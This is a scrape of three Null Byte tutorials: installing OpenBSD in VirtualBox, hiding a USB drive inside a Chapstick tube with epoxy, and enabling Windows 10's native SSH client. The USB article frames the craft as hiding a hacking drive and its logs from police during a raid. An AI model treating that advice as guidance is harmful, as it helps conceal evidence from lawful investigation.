OpenBSDimplements security in its development in a way that no other operating system on the planet does. Learning to use the Unix-like operating system can help a hacker understand secure development, create better servers, and improve their understanding of the BSD operating system. UsingVirtualBox, the OS can be installed within a host to create a full-featured test environment.This extremely secure operating system boasts features with which no other OS can compare. While OpenBSD is often regarded as a server OS, it can also be used on the desktop or within a virtual machine and still offer these same security features to regular users. This can be valuable to a device that stands at a higher risk of being attacked or to anyone who wants greater protection against the possibility of remote code execution exploits such asthose found in Microsoft Windows.OpenBSD is derived from theBerkeley Software Distribution, or BSD, a Unix-like operating system developed initially at the University of California, Berkeley.Theo de Raadtforked OpenBSD fromNetBSDin 1995, and the project continues to develop and grow today. The OpenBSD project also maintains several other popular tools, includingOpenSSHandLibreSSL.The OpenBSD development team's focus on security has led to an extensive amount of specific changes to the OS. These modifications include memory protections during compilations to prevent buffer or integer overflow attacks, extensive use of cryptography, randomization of various system signatures, and extensive privilege separation. These factors combine to form an extremely secure operating system for servers and desktops alike. TheOpenBSD homepageitself boasts that the system has had "only two remote holes in the default install, in a heck of a long time!"To test and learn more about the OpenBSD operating system, you can install and use it within a virtual machine, in our case,VirtualBox.Step 1: Download an OpenBSD ImageOpenBSD can be downloaded from one of itsHTTP/FTP mirrors. Select the location of the mirror closest to your location if you wish for the fastest speed.Once you've selected a mirror, you will be brought to a page with several directories. To download the most recent disk image, select the highest release number. The "6.7" folder should include the most recently updated version as of August 2020, but if you see anything newer, use that.Once in the most recent version directory, there should be subdirectories for different system architectures. For most users, amd64 or i386 images will be the most useful. After selecting a system architecture subdirectory, a number of files will be available for download.Don't Miss:Host Your Own Tor Hidden Service with a Custom Onion AddressAmong this set, the "install67.iso" file represents the installation image for version 6.7 of OpenBSD. Click on this file to download and save it onto your system.Step 2: Prepare VirtualBoxVirtualBox is one of the simplest virtualization environments for Windows, macOS, and Linux. It can bedownloaded from VirtualBox's website, or it can be installed on Debian-based Linux distros like Ubuntu by usingaptas in the command below.~$ sudo apt install virtualboxOnce VirtualBox is downloaded, installed, and opened, click the "New" button at the top of the window to begin creating the new virtual machine.A window will open, requesting a name, type, and version. TypingOpenBSDinto theNamefield should lead to the automatic population of the following two selections, but if not, setTypeto "BSD" andVersionto "OpenBSD" 32- or 64-bit, whichever is appropriate for your system. Hit "Continue."The next portion of the virtual machine configuration is memory allocation. Generally speaking, the more memory one can grant to a virtual machine, the faster the VM will be able to run. The amount of memory one is willing to provide to the VM generally depends on the amount of RAM available on the host machine, shown at the right end of the memory slider bar within VirtualBox. A relatively lightweight operating system such as OpenBSD can function with a limited amount of memory if necessary. Choose your RAM and hit "Continue."At theHard diskstep, choose to "Create a virtual hard disk now." OpenBSD will need to be installed within the virtual machine, so a virtual hard drive to install this to will be required. Hit "Create."If you have no need to move the virtual machine image between different virtualization tools, it's best to leave VDI selected for theHard disk file typeselection step. Hit "Continue."The next selection is between a dynamically allocated or fixed size virtual hard disk. For most users, "Dynamically allocated" is the most simple to use, as it requires the least configuration. Hit "Continue."Lastly, the maximum size and storage location of the virtual hard drive can be set. This may be an external hard drive or a specific spot on a local drive. The size is the maximum size to which the virtual hard drive can grow, so if there are considerable size restraints based on hard drive size, it may be worthwhile to limit this amount. The base installation size of OpenBSD will be relatively small, so this limit could easily be set to only a few GB. Choose and hit "Create."Now the OpenBSD VM should be available from the main VirtualBox menu to be started. To launch it, simply click the "Start" button at the top of the interface while the OpenBSD virtual machine is selected. You can also double-click on it to start it.Once the virtual machine is started, it will request a boot medium to start the virtual machine from.Click on the folder icon to open a file selector. Click "Add," then browse to and select the OpenBSD ISO image downloaded earlier. Click "Open," then "Choose."Now, click "Start" to launch the virtual machine. The OpenBSD installer should begin to boot.Step 3: Install OpenBSDOn first boot, the OpenBSD image will load a text-based installer environment, as shown in the image below. To begin the installation process, typeiand pressEnter.This process includes many questions and configuration options, each of which is explained with a short statement. The first prompt requests the preferred keyboard layout. TypeLor?and pressEnterif you wish to list all available options, or simply typeusorukto set the keyboard layout to US or UK English.At any prompt except password prompts you can escape to a shell by typing '!'. Default answers are shown in []'s and are selected by pressing RETURN. You can exit this program at any time by pressing Control-C, but this can leave your system in an inconsistent state. Choose your keyboard layout ('?' or 'L' for list) [default] ? Available layouts: be be.swapctrlcaps br cf cf.nodead de de.nodead dk dk.nodead ee ee.nodead es fr fr.dvorak fr.swapctrlcaps fr.swapctrlcaps.dvorak hu is is.nodead it jp jp.swapctrlcaps la lt lv nl nl.nodead no no.nodead pl pt ru sf sf.nodead sg sg.nodead si sv sv.nodead tr tr.nodead ua uk uk.swapctrlcaps us us.colemak us.declk us.dvorak us.iopener us.swapctrlcaps us.swapctrlcaps.colemak us.swapctrlcaps.dvorak us.swapctrlcaps.iopener Choose your keyboard layout ('?' or 'L' for list) [default] usThen, give the hostname a name. I'm just going withopenbsd.System hostname? (short form, e.g., 'foo') openbsdThe next questions regard network configuration. Within a virtual machine, the network settings are relatively simple to set. Each option, beginning withAvailable network interfacesuntilDNS domain name, can be responded with by merely pressingEnter, as the default network configuration options should be suitable for most users. On a hardware install, it may be worth taking more care when choosing these settings, depending on your network configuration.Don't Miss:How to Get Started with the BlackArch Pentesting DistroAvailable network interfaces are: em0 vvlan0. Which network interface do you wish to configure? (or 'done') [em0] IPv4 address for em0? (or 'dhcp' or 'none') [dhcp] emo: 10.0.2.15 lease accepted from 10.0.2.2 (XX.XX.XX.XX.XX.XX) IPv6 address for em0? (or 'autoconf' or 'none') [done] Available network interfaces are: em0 vvlan0. Which network interface do you wish to configure? (or 'done') [done] DNS domain name? (e.g. 'example.com') [my.domain] Using DNS nameservers at 8.8.8.8 8.8.4.4The next option,Password for root account, allows one to set the root password. The "will not echo" string denotes that when pressing the keys for the password, it will not be visible, nor will it be returned to the user after entering. The root password should generally be strong, especially for a server or internet-connected system.Password for root account? (will not echo) Password for root account? (again)After entering the root password twice, the installer asks if you would like to start the SSH daemon, or background service, by default. While this is not necessary, it may be useful. To enable it, pressEnter.Start sshd(8) by default? [yes]The following two questions regard the graphical configuration of the system. If you'd like to use a graphical interface, enable the X Window System by pressingEnter. The next question asks if you would like the X Window System to be started by the xenodm login manager. While this isn't necessary, it will make installing a different desktop environment easier, as shown later in this tutorial. To enable it, typeyesand pressEnter.Do you expect to run the X Window System? [yes] Do you want the X Window System to be started by xenodm(1)? [no] yesNext, enter a name and password for a standard-level user. For security reasons, it's best not to run as the root user, so this user will be used for most standard desktop operations. For most users, it will also be worth denying root SSH login for security reasons.Don't Miss:How to Make an SSH Brute-Forcer in PythonSetup a user? (enter a lower-case loginname, or 'no') [no] nullbyte Full name for user nullbyte? [nullbyte] nullbytehacker Password for user nullbyte? (will not echo) Password for user nullbyte? (again) WARNING: root is targeted by password guessing attacks, pubkeys are safer. Allow root ssh login? (yes, no, prohibit-password) [no}For the last question in this set, enter?to see the available time zones, then type your preferred choice from the list or pressEnterto continue with the default selection. Then, so the same thing with the sub-time zone.What timezone are you in? ('?' for list) [US/Eastern] ? Africa/ Chile/ GB-Eire Israel Navajo US/ America/ Cuba GMT Jamaica PRC UTC Antarctica/ EET GMT+0 Japan PST8PDT Universal Arctic/ EST GMT-0 Kwajalein Pacific/ W-SU Asia/ EST5EDT GMT0 Libya Poland WET Atlantic/ Egypt Greenwich MET Portugal Zulu Australia/ Eire HST MST ROC posixrules Brazil/ Etc/ Hongkong MST7MDT ROK CET Europe/ Iceland Mexico/ Singapore CST6CDT Factory Indian/ NZ Turkey Canada/ GB Iran NZ-CHAT UCT What timezone are you in? ('?' for list) [US/Eastern] America What sub-timezone of 'America' are you in? ('?' for list) ? Argentina/ Curacao Iqaluit Montserrat Santo_Domingo Aruba Danmarkshavn Jamaica Nassau Sao_Paulo Asuncion Dawson Jujuy New_York Scoresbysund Atikokan Dawson_Creek Juneau Nipigon Shiprock Atka Denver Kentucky/ Nome Sitka Bahia Detroit Knox_IN Noronha St_Barthelemy Bahia_Banderas Dominica Kralendijk North_Dakota/ St_Johns Barbados Edmonton La_Paz Nuuk St_Kitts Belem Eirunepe Lima Ojinaga St_Lucia Belize El_Salvador Los_Angeles Panama St_Thomas Blanc_Sablon Ensenada Louisville Pangnirtung St_Vincent Boa_Vista Fort_Nelson Lower_Princes Paramaribo Swift_Current Bogota Fort_Wayne Maceio Phoenix Tegucigalpa Boise Fortaleza Managua Port-au-Prince Thule Buenos_Aires Glace_Bay Manaus Port-of-Spain Thunder_Bay Cambridge_Bay Godthab Marigot Porto_Acre Tijuana Campo_Grande Goose_Bay Martinique Porto_Velho Toronto Cancun Grand_Turk Matamoros Puerto_Rico Tortola Caracas Grenada Mazatlan Punta_Arenas Vancouver Catamarca Guadeloupe Mendoza Rainy_River Virgin Cayenne Guatemala Menominee Rankin_Inlet Whitehorse Cayman Guayaquil Merida Recife Winnipeg Chicago Guyana Metlakatla Regina Yakutat Chihuahua Halifax Mexico_City Resolute Yellowknife What sub-timezone of 'America' are you in? ('?' for list) New_YorkNext, the installer will partition the disks. In general, the only disk available for the virtual machine will be fine for the installation — hitEnter.While custom partitioning works even within the virtual machine environment, the defaultWhole disk MBRselection, abbreviated tow, is an ideal selection for the virtual machine. PressEnteragain to continue the installation.Available disks are: wd0 Which disk is the root disk? ('?' for details) [wd0] No valid MBR or GPT. Use (W)hole disk MBR, whole disk (G)PT or (E)dit? [whole] w Setting OpenBSD MBR partition to whole wd0...done. The auto-allocated layout for wd0 is: # size offset fstype [fsize bsize cpg] a: 429.8M 64 4.2BSD 2048 16384 1 # / b: 639.7M 880352 swap c: 16384.0M 0 unused d: 567.7M 2190432 4.2BSD 2048 16384 1 # /tmp e: 807.6M 3353120 4.2BSD 2048 16384 1 # /var f: 2059.7M 5007008 4.2BSD 2048 16384 1 # /usr g: 551.9M 9225216 4.2BSD 2048 16384 1 # /usr/X11R6 h: 1863.5M 10355488 4.2BSD 2048 16384 1 # /usr/local i: 1411.9M 14171936 4.2BSD 2048 16384 1 # /usr/src j: 5343.9M 17063552 4.2BSD 2048 16384 1 # /ussr/obj k: 2703.1M 28007776 4.2BSD 2048 16384 1 # /home Use (A)uto layout, (E)dit auto layout, or create (C)ustom layout? [a]The next portion of the installation allows for "sets" of packages to be selected, downloaded, and installed. To download them from the internet, enterhttpwhen prompted for the location of the sets.Let's install the sets! Location of sets? (cd0 disk http nfs or 'done') [cd0] httpYou can define your preferred HTTP proxy and server, but the default setting with no proxy will work for most users.HTTP proxy URL? (e.g. 'http://prozy:8080', or 'non') [none] HTTP Server? (hostname, list#, 'done' or '?') ? 1. mirrors.sonic.net/pub/OpenBSD San Francisco, CA, USA 2. ... (there are many more to choose from, but I'm not writing them all here) HTTP Server? (hostname, list#, 'done' or '?') 1 HTTP Server? (hostname, list#, 'done' or '?') [mirrors.sonic.net] Server directory? [pub/OpenBSD/6.7/amd64]Next, sets can be selected, or you can simply install all of them. HitEnterto begin installing the sets. After the sets finish installing, hitEnteragain to choose "done" for the location of the sets.Select sets by entering a set name, a file name pattern or 'all'. De-select sets by prepending a '-', e.g.: '-game*'. Selected sets are labelled '[X]'. [X] bsd [X] comp67.tgz [X] xbase67.tgz [X] xserv67.tgz [X] bsd.rd [X] man67.tgz [X] xshare67.tgz [X] base67.tgz [X] games67.tgz [X] xfont67.tgz Set name(s)? (or 'abort' or 'done') [done] Get/Verify SHA256.sig 100% |******************************| 2141 00:00 Signature Verified 100% |******************************| Get/Verify bsd 100% |******************************| 18117 KB 00:02 Get/Verify bsd.rd 100% |******************************| 10109 KB 00:01 Get/Verify base67.tgz 100% |******************************| 238 MB 00:39 Get/Verify comp67.tgz 100% |******************************| 74451 KB 00:08 Get/Verify man67.tgz 100% |******************************| 7464 KB 00:01 Get/Verify games67.tgz 100% |******************************| 2745 KB 00:00 Get/Verify xbase67.tgz 100% |******************************| 22912 KB 00:03 Get/Verify xshare67.tgz 100% |******************************| 4499 KB 00:01 Get/Verify xfont67.tgz 100% |******************************| 39342 KB 00:05 Get/Verify xserv67.tgz 100% |******************************| 16767 KB 00:03 Installing bsd 100% |******************************| 18117 KB 00:00 Installing bsd.rd 100% |******************************| 10109 KB 00:00 Installing base67.tgz 100% |******************************| 238 MB 00:17 Extracting etc.tgz 100% |******************************| 261 KB 00:00 Installing comp67.tgz 100% |******************************| 74451 KB 00:08 Installing man67.tgz 100% |******************************| 7464 KB 00:01 Installing games67.tgz 100% |******************************| 2745 KB 00:00 Installing xbase67.tgz 100% |******************************| 22912 KB 00:02 Extracting etc.tgz 100% |******************************| 7023 00:00 Installing xshare67.tgz 100% |******************************| 4499 KB 00:00 Installing xfont67.tgz 100% |******************************| 39342 KB 00:02 Installing xserv67.tgz 100% |******************************| 16767 KB 00:01 Location of sets? (cd0 disk http nfs or 'done') [done]If a time option appears, just hitEnter. Then, the OpenBSD installation should be complete! To start it, hitEnterto select "Reboot" and wait for the system to load.Time appears wrong. Set to 'Fri Aug 21 17:22:11 EDT 2020'? [yes] Saving configuration files... done. Making all devices nodes... done. Relinking to create unique kernel... done. CONGRATULATIONS! Your OpenBSD install has been successfully completed! When you login to your new system the first time, please read your mail using the 'mail' command. Exit to (S)hell, (H)alt or (R)eboot? [reboot]Step 4: Delete the Install FileYou may find that the system boots back into the installation screen, most likely due to the initial installation media still being loaded, rather than the virtual hard drive. If this is the case, power down the OpenBSD VM.Then, within VirtualBox, select the OpenBSD virtual machine and click "Settings."Under the "Storage" menu, right-click on the ISO installation file shown underStorage Devices, and click "Remove Attachment." Hit "Remove" on the prompt, and "OK" to exit the settings. Then, restart the virtual machine.If a login screen such as the one below appears, OpenBSD has installed and booted from its virtual hard drive. Now, we can log in to the OpenBSD desktop environment and begin making changes to the operating system.Step 5: Configure & Use OpenBSDAfter logging in using the username and password defined during the installation process, the OpenBSD X Window System and the fvwm window manager will load. This is a very basic graphical environment, but it does create a stacking window manager which can be used for visual tasks. Aleft-clickmenu andControl-clickmenu are available when clicking on the default desktop.Opening an XTerm window from this menu will help us install additional packages, some of which will allow us to add additional elements to the desktop environment. Once a terminal window is open, we'll usepkg_addto install additional packages. First, runsuin a new terminal window to gain superuser privileges. If you logged in as root, you won't need to usesu.~$ su Password:Now we can install some additional packages. To replace the default window manager, we'll install theXfcedesktop environment, theLeafpadtext editor, the Thunar file manager, consolekit2 to assist with login session management, and theFirefoxweb browser. I'll also add in nano because why not.~# pkg_add xfce xfce-extras leafpad thunar firefox consolekit2 nanoAfter these packages are installed, we can return to our regular user terminal session by typingexitand pressingEnter. After this, we can create a "xsession" startup file, which will launch Xfce at the next login, by running the command below. This command "echoes" the statement within the quotation marks into the file ".xsession."~# exit ~$ echo "exec ck-launch-session startxfce4" > .xsessionNow, you can restart the system. To restart the system, you need to have root privileges, so first sunsuonce again to regain a root terminal window, then typerebootand pressEnterto reboot the system.~$ su Password: ~# rebootWhen the virtual machine reboots, Xfce should automatically start.Once the desktop environment is installed, OpenBSD is ready to be used much like any other Unix-like operating system, including Linux.The OpenBSD operating system has software in its repository to do practically any task of other operating systems, including word processors, image editors, and even games. If a tool isn't already available, it can very likely be compiled if the source code is available.Using OpenBSDWith Xfce installed, the graphical usage of OpenBSD should be relatively familiar for users of Linux distributions or Unix-like operating systems. The command-line environment, ksh, will also generally be familiar to users of Bash. OpenBSD offersextensive documentation, with pages that thoroughly explain the often unfamiliar components of the operating system, such aspackage managementandsystem administration. Acomplete user's guideis also available. OpenBSD is a very powerful, extensible system, and becoming familiar with it is a useful skill for any system administrator, security engineer, or hacker!I hope that you enjoyed this tutorial on OpenBSD! If you have any questions about this tutorial or OpenBSD usage, feel free to leave a comment or reach me on [email protected]'t Miss:How to Get Started with Kali Linux in 2020Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byNOAA's National Ocean Service/Flickr; Screenshots by TAKHION/Null ByteRelatedHow To:Fix Bidirectional Copy/Paste Issues for Kali Linux Running in VirtualBoxHow To:Share files between Ubuntu (host) & Windows XP (guest)How To:Exploring Kali Linux Alternatives: Set Up the Ultimate Beginner Arch Linux Hacking Distro with Manjaro & BlackArchHow To:Install Android OS on a PC Using VirtualBox.Hack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Mac for Hackers:How to Install Kali Linux as a Virtual MachineVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Fully Anonymize Kali with Tor, Whonix & PIA VPNHow To:Install GNOME DO and change the dock on Ubuntu LinuxHow To:Run Any Android App on Your MacHow To:Update Nokia firmware via VirtualBox on Ubuntu LinuxHacking Android:How to Create a Lab for Android Penetration TestingHow To:Exploring Kali Linux Alternatives: How to Get Started with BlackArch, a More Up-to-Date Pentesting DistroHow To:Create a hidden operating system within an operating system with TrueCryptHow To:Exploring Kali Linux Alternatives: How to Get Started with Parrot Security OS, a Modern Pentesting DistroHow To:Add a Battery Meter & System Stats to the Information Stream on Your Galaxy S6 EdgeHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Install Puppy Linux on an innotek VirtualBoxHow To:Run Windows from Inside LinuxHow To:Fix the Unreadable USB Glitch in VirtualBoxHow To:Install Windows 8 Beta on VirtualBoxHow To:Chain VPNs for Complete AnonymityHow To:Run a Virtual Computer Within Your Host OS with VirtualBoxLockdown:The InfoSecurity Guide to Securing Your Computer, Part IINews:Virtualization Using KVMSecure Your Computer, Part 4:Use Encryption to Make a Hidden Operating SystemHow To:Give Your GRand Unified Bootloader a Custom ThemeHow To:Install Linux to a Thumb DrivePygame:All You Need to Start Making Games in PythonHow To:Permanently Erase Data So That It Cannot be RecoveredWindows Security:Software LevelHow To:Virtualize Windows XP with VirtualBox, the Free Virtualization SolutionSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Run an FTP Server from Home with Linux
How to Conceal a USB Flash Drive in Everyday Items « Null Byte :: WonderHowTo
Technology in computers these days are very favorable to the semi-knowledgeable hacker. We haveTORfor anonymity online, we haveSSDsto protect and securely delete our data—we can even boot an OS from a thumb drive or SD card. With a little tunneling and MAC spoofing, a decent hacker can easily go undetected and even make it look like someone else did the hack job.With a hacker's OS and all of their favorite tools on a tiny little thumb drive, the hacker's next precaution might be to conceal the thumb drive in some way, so the drive itself would look inconspicuous to authorities if they were ever somehow caught in a raid.Today's Byte demonstrates how you can take some household items and rip them apart to conceal your hacking OS inside. Let's assume that you only use this OS for legal bidding, shall we?RequirementsA thumb driveMoldable epoxy (this can be purchased at any hardware store or Wal-Mart)A bunch of small items lying around the house that you can breakA metal file (also can be found at a hardware store)Step1Picking a Suitable Item to Hide Our Drive InCarefully crack open the case off your thumb drive and get the PCB out itself. This will reduce the size of the drive for when we put it in something later. Be careful not to break it!After you get that sorted out, search around the house for some silly items that we can hide our drive in. Here's a small list of items I found around my house:Rubber duckyAltoids tinStuffed animalsClipable braceletsChapstickIn this case, I'm picking the Chapstick to use as my item to hide the drive in. For this, I make sure the Chapstick is hollowed out, with just the outer casing and cap.Step2Apply the EpoxyMoldable epoxy is like a clay that you mold, but once it hardens around an object, it creates an incredibly strong adhesion that is very hard to break. We will use it to not only protect our thumb drive, but also make sure that it is properly sealed within the object housing that it is contained in.Open the epoxy.Take both sticks of epoxy "clay".Mold and knead them together for a good 10-15 minutes. Don't rub it on a table, it'll stick.Once the epoxy is blended well, mold a bit around the thumb drive (not too much!). Just enough to cover the surface area and electronic bits.Now, put the thumb drive chip inside of the hollowed-out Chapstick container.Fill the rest of the container with epoxy.Remove the drive to fill with more epoxy, and fill slowly until you reach the perfect amount to make a good hold on it inside of the Chapstick.Wait a full day for the epoxy to dry.Test out your new capable USB Chap-drive! Now the Feds can't find your logs, because they are made of lip balm!Be a Part of Null Byte!Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viareadymadeRelatedHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Hack a Hard Drive into a Hidden Flash Drive, Cell Phone Charger & More!How To:Install an Off-the-Shelf Hard Drive in an Xbox 360 (Get 10x the GB for Your Money)Hacking macOS:How to Spread Trojans & Pivot to Other Mac ComputersHow To:Make a sneaky USB batteryHow To:The Best External Storage Options for iPhone That Work with iOS 13's Files AppHow To:Deter Data Thieves from Stealing Your Flash Drive by Disguising It as a Broken USB CableHow To:Make Your Own Bad USBHow To:Deploy a Keylogger from a USB Flash Drive QuicklyTWRP 101:How to Mount Your SD Card or USB OTG Drive to Flash External ZIPsHow To:Install, configure & use USB flash drives & external hard drives on Xbox 360sHow To:Root Your ChromecastHow to Install Remix OS:Android on Your ComputerHow To:Run Windows or Ubuntu on any PC using a flash driveHow To:Mod a USB flash drive with Household HackerHow To:Manually Update Your PlayStation 4 to the Newest 1.51 Software via USB Flash DriveHow To:Hack Your PC into a Mac! How to Install OS X Mountain Lion on Any Intel-Based ComputerHow To:Begin using a USB flash driveHow To:Create a Bootable Install USB Drive of Mac OS X 10.9 MavericksHow To:Hack together a pink eraser casing for your USB driveHow To:Install Windows XP from a usb flash disk driveHow To:Prepare a USB flash drive for your Xbox 360 memory unitHow To:Mod a Hot Wheels toy car into a USB flash drive keyHow To:Assign a letter to your USB flash driveHow To:Bypass Locked Windows Computers to Run Kali Linux from a Live USBHow To:Create a Bootable Install USB Drive of macOS 10.12 SierraHow To:Install Linux to a Thumb DriveHow To:Backup All of Your Xbox 360 Data to Your ComputerHow To:Add an Extra USB Port to Your Wired Computer MouseNews:Use your Android with your Car StereoHow To:7 Methods for Concealing Valuable Items from ThievesNews:Ubuntu Usb on MacbookNews:Virtual Box with Ubuntu on MacbookNews:Planning a Scavenger Hunt Based on Age: Part 4How To:Things to Do on WonderHowTo (02/01 - 02/07)News:The Incredible Polyhedra Models of Mario MarínNews:Jailbreak your PS3!Lockdown:The InfoSecurity Guide to Securing Your Computer, Part IIHow To:Flash BenQ Xbox 360 Drives to Play XDG3 Back-upsNews:Sneak Nutrition Into Almost Any Food
How to Enable the New Native SSH Client on Windows 10 « Null Byte :: WonderHowTo
For years,PuTTyhas reigned supreme as the way to establish aSecure Shell (SSH)connection. However, those days are numbered with the addition of theOpenSSH serverand client in theWindows 10 Fall Creators Update, which brings Windows up to par with macOS and Linux's ability to use SSH natively.As a beta implementation ofOpenSSH, native SSH support on Windows suffers from bugs. To date, it has 207 issues reported on theGitHub page, so if you love everything pretty and polished, you may be better served by PuTTY until the bugs have been ironed out. On the other hand, if you are the sort of person that has longingly stared at people using macOS or Linux to seamlessly SSH into servers, then we're going to make your dreams come true.Because it's a beta feature, OpenSSH doesn't come preinstalled on standard Windows 10 distributions. Fortunately, the installation process takes only a few clicks, and in a few minutes, you'll have an SSH client ready to use.Don't Miss:How to Create a Native SSH Server on Your Windows 10 SystemTo follow this guide, you'll need a Windows 10 computer that has been fully updated. Before starting, make sure to check for and install any updates Windows may have or these steps may not work properly.Step 1: Enable Developer ModeFirst, we need to make sure that the Windows system is set to "Developer mode," otherwise it will be impossible to download this beta feature. Navigate to the search bar on the bottom left of your screen, then search for "developers settings." It should appear under "Best match" in the results, so click on it to open up the settings.Under theUse developer featuresheading, the "Windows Store apps" setting will be selected by default, but we want to select "Developer mode" instead. It should only take a few moments to install the 6 MB file and become a "Windows developer."Step 2: Install the OpenSSH ClientThere are two different methods you can use to install OpenSSH, either through the Windows GUI or throughPowerShell. For beginners, the first method may be easier to follow along with, but for advanced users, the second PowerShell method is probably faster.Method 1: Using the Settings GUIAgain, go to the search bar in the bottom left of the screen and search for "manage optional features," then select the option that pops up. Alternatively, you can go to it manually from Settings –> Apps & features –> Manage optional features. Once there, click on "Add a feature" at the top of the list of installed features.You will be presented with a list of features, most of these are specialty fonts. However, if you keep scrolling near the bottom, you should see "OpenSSH Client (Beta)." If you just want to be able to SSH into aRaspberry Pior other servers, then the client is all you need.From here you can also install "OpenSSH Server (Beta)," but remember that means you are opening your computer to SSH connections which could potentially be malicious. Also, installing the server takesextra steps to get working properly.Click on "OpenSSH Client (Beta)" to download and it will expand, then click "Install." Once done, it will disappear from the list and you can then navigate backward by clicking the back arrow in the top left.It will now appear on your list of optional features, but it may take a second or two as the system downloads the file.At this point, everything you need to SSH is downloaded. You just need to reboot the system to use the feature. Rebooting the computer is annoying and normally shouldn't be required, but it's important with this beta version. It will not finish the installation, and won't find thesshcommand when you use it in the command prompt if you don't reboot. To do so, click the Windows icon in the bottom left of the screen, then the power icon, and "Restart."If you ever decide to uninstall SSH, you can return to "Manage optional features," click on the feature to expand it, and select "Uninstall."Method 2: Using PowershellAlternatively, this entire install process can be done in PowerShell, which is faster if you are installing SSH on more than one computer. First, run PowerShell as the administrator by pressingWindows+Xand clicking on "Windows PowerShell (Admin)." Then check to ensure that the OpenSSH features are available for install by running the following command.Get-WindowsCapability -Online | ? Name -like 'OpenSSH*'It should return something like below. "NotPresent" just means that it isn't downloaded.Assuming it's available, you can install the client feature with the following command. If it is not available, make sure your system is updated, and that developer mode is enabled.Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0Note that the prompt may say a restart isn't needed, but it's my experience that a restart is in fact required. When the process is complete, you should see something like the screen below.Once you've run these commands and restart, you should be ready to go.Step 3: Start Using SSH NativelyCongratulations, everything is set up for Windows to run an SSH client. Now you only need to invoke thesshcommand. This command works in both PowerShell and Command Prompt, so you can use your favorite. To quickly open PowerShell, pressWindows+Xand then click on "Windows PowerShell" from the menu. Now, enter justsshto be presented with the current arguments it accepts.Thesshcommand works the same as the SSH command on other operating systems, so if you're already familiar with macOS or Linux, then you know how to use it as it's the same syntax. A more detailed explanation of each argument can befound online.For example, to connect to an SSH server at evilserver.com with the username "Hoid," I would run the following command.ssh [email protected] default, OpenSSH attempts to establish an SSH connection on Port 22. Should you wish to use a different port, you need only to add-pand the port number at the end of your command. In the command below, we are attempting to connect to port 6666 on evilserver.com.ssh [email protected] -p 6666As with any SSH client, you will receive a prompt to accept the host key the first time you connect. You will then be prompted to log in and enter the password for the user account on the remote server before you'll be able to run commands on the system. Once you're connected, you can safely disconnect from the SSH session by simply typingexit.Don't Miss:How to Use SSH Local Port Forwarding to Pivot into Restricted NetworksMany users may choose to continue using PuTTy for the time being, as it remains more stable, and most Window users are already familiar with the friendly GUI. As Windows continues to improve and implement OpenSSH as a full feature, I believe more and more people will come to use it due to its ease of use and convenience. The days of the third-party SSH clients dominating the Windows field are numbered.Thanks for reading! If you have any questions, you can ask me here or on Twitter@The_Hoid.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Hoid/Null ByteRelatedHow To:Create a Native SSH Server on Your Windows 10 SystemHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersSSH the World:Mac, Linux, Windows, iDevices and Android.How To:Run Your Favorite Graphical X Applications Over SSHRasberry Pi:Connecting on ComputerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)SPLOIT:How to Make an SSH Brute-Forcer in PythonHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Change the SSH root password on the iPhone and iPodHow To:SSH into an iPod Touch 2G for Windows (3.0 firmware)How To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Get Daily Weather Info Right from Your Windows 10 CalendarHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:SSH SMS tones into iPhone 3G 3.1.2How To:Miss the Charms Bar? Here's How to Access the Same Features on Windows 10How To:Haunt a Computer with SSHHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Spy on SSH Sessions with SSHPry2.0How To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterNews:Microsoft Introduced Acer's New Windows Mixed Reality Development Edition HeadsetNews:Atheer's Enterprise AR Platform Goes to Work on iPhones & iPads as Remote Support ToolHow To:Add Native Clipboard Support to Your Samsung Galaxy Note 3How To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxNews:What does Pro Tools HD Native mean for you?How To:Use 